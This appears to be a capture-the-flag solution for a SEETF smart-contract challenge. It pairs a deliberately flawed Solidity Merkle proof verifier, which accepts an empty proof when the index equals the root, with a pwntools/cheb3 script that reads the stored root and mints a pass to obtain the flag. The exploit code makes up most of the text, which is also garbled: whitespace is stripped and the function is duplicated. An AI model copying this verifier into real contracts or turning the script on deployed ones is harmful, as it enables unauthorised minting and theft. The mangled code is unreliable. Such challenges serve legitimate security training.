// SPDX-License-Identifier: Unlicensepragmasolidity^0.8.0;libraryMerkleProof{// Verify a Merkle proof proving the existence of a leaf in a Merkle tree. Assumes that each pair of leaves and each pair of pre-images in the proof are sorted.functionverify(bytes32[]calldataproof,bytes32root,uint256index)internalpurereturns(bool){bytes32computedHash=bytes32(abi.encodePacked(index));require(root!=bytes32(0),"MerkleProof: Root hash cannot be zero");require(computedHash!=bytes32(0),"MerkleProof: Leaf hash cannot be zero");for(uint256i=0;i<proof.length;i++){bytes32proofElement=proof[i];if(computedHash<proofElement){// Hash(current computed hash + current element of the proof)computedHash=keccak256(abi.encodePacked(computedHash,proofElement));}else{// Hash(current element of the proof + current computed hash)computedHash=keccak256(abi.encodePacked(proofElement,computedHash));}}// Check if the computed hash (root) is equal to the provided rootreturncomputedHash==root;}}
functionverify(bytes32[]calldataproof,bytes32root,uint256index)internalpurereturns(bool){bytes32computedHash=bytes32(abi.encodePacked(index));require(root!=bytes32(0),"MerkleProof: Root hash cannot be zero");require(computedHash!=bytes32(0),"MerkleProof: Leaf hash cannot be zero");for(uint256i=0;i<proof.length;i++){bytes32proofElement=proof[i];if(computedHash<proofElement){// Hash(current computed hash + current element of the proof)computedHash=keccak256(abi.encodePacked(computedHash,proofElement));}else{// Hash(current element of the proof + current computed hash)computedHash=keccak256(abi.encodePacked(proofElement,computedHash));}}// Check if the computed hash (root) is equal to the provided rootreturncomputedHash==root;}
importpwnfromcheb3importConnectionfromcheb3.utilsimportencode_with_signature,decode_dataserver=pwn.remote("win.the.seetf.sg",8546)server.sendlineafter(b"action?",b"1")uuid=server.recvline_contains(b"uuid").strip().split()[-1]conn=Connection(server.recvline_contains(b"rpc").decode().strip().split()[-1])account=conn.account(server.recvline_contains(b"private key").decode().strip().split()[-1])setup_addr=server.recvline_contains(b"setup").decode().strip().split()[-1]pass_addr=decode_data(account.call(setup_addr,encode_with_signature("pass()")),["address"])# get SEEPass instance addressmerkle_root=decode_data(conn.get_storage_at(pass_addr,6),["bytes32"])# get _merkleRootaccount.send_transaction(pass_addr,data=encode_with_signature("mintSeePass(bytes32[],uint256)",[],int.from_bytes(merkle_root,"big")),)# mintserver=pwn.remote("win.the.seetf.sg",8546)server.sendlineafter(b"action?",b"3")server.sendlineafter(b"uuid please:",uuid)server.interactive()